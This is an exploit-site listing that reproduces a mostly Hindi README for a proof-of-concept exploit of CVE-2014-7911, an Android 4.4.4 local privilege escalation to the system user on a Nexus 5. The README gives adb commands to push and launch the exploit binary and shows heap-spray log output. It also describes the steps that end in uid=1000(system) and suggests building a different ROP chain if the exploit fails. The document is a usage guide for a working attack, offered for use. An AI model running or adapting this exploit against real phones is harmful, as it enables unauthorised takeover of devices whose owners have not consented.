Sploitus

Exploit for CVE-2014-7911

kitploit · 2026-08-25

Exploit Code

MARKDOWN58 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ELE7ENXXH-CVE-2014-7911
# CVE-2014-7911

Nexus5 Android 4.4.4_r1 के लिए CVE-2014-7911 का POC, retme7 पर आधारित, अलग rop chain का उपयोग करता है

# जानकारी

http://ele7enxxh.com/CVE-2014-7911-Detailed-Analysis-Of-Android-Local-Privilege-Escalation-To-System-Vulnerability.html

# उपयोग

अपने फ़ोन को adb के माध्यम से कनेक्ट करें

root@kitploit:~
    
    
    adb push jni/expolit /data/local/tmp
    adb logcat | grep auo_
    

इस POC को लॉन्च करें, “CVE-2014-7911” बटन पर क्लिक करें, आप यह देखेंगे:

root@kitploit:~
    
    
    D/auo_CVE20147911(24892): staticAddr = 0x43a1f000
    D/auo_CVE20147911(24892): heap sparying... 0
    D/auo_CVE20147911(24892): heap sparying... 100
    D/auo_CVE20147911(24892): heap sparying... 200
    D/auo_CVE20147911(24892): heap sparying... 300
    D/auo_CVE20147911(24892): heap sparying... 400
    D/auo_CVE20147911(24892): heap sparying... 500
    D/auo_CVE20147911(24892): heap sparying... 600
    D/auo_CVE20147911(24892): heap sparying... 700
    D/auo_CVE20147911(24892): heap sparying... 800
    D/auo_CVE20147911(24892): heap sparying... 900
    D/auo_CVE20147911(24892): heap sparying... 1000
    D/auo_CVE20147911(24892): heap sparying... 1100
    D/auo_CVE20147911(24892): heap sparying... 1200
    D/auo_CVE20147911(24892): heap sparying... 1300
    D/auo_CVE20147911(24892): heap sparying... 1400
    D/auo_CVE20147911(24892): heap sparying... 1500
    D/auo_CVE20147911(24892): heap sparying... 1600
    D/auo_CVE20147911(24892): heap sparying... 1700
    D/auo_CVE20147911(24892): heap sparying... 1800
    D/auo_CVE20147911(24892): heap sparying... 1900
    
    

फिर सिस्टम क्रैश होने तक एक्टिविटी को कई बार छोटा करें, यदि आप यह देखते हैं:

root@kitploit:~
    
    
    D/auo_exploit(22665): uid=1000(system) gid=1000(system)
    

एक्सप्लॉइट सफल हो गया है; यदि आपका फ़ोन केवल क्रैश होता है, तो आपका डिवाइस असुरक्षित है, एक्सप्लॉइट विफल हो सकता है (आपको अलग ROP चेन खोजनी चाहिए)।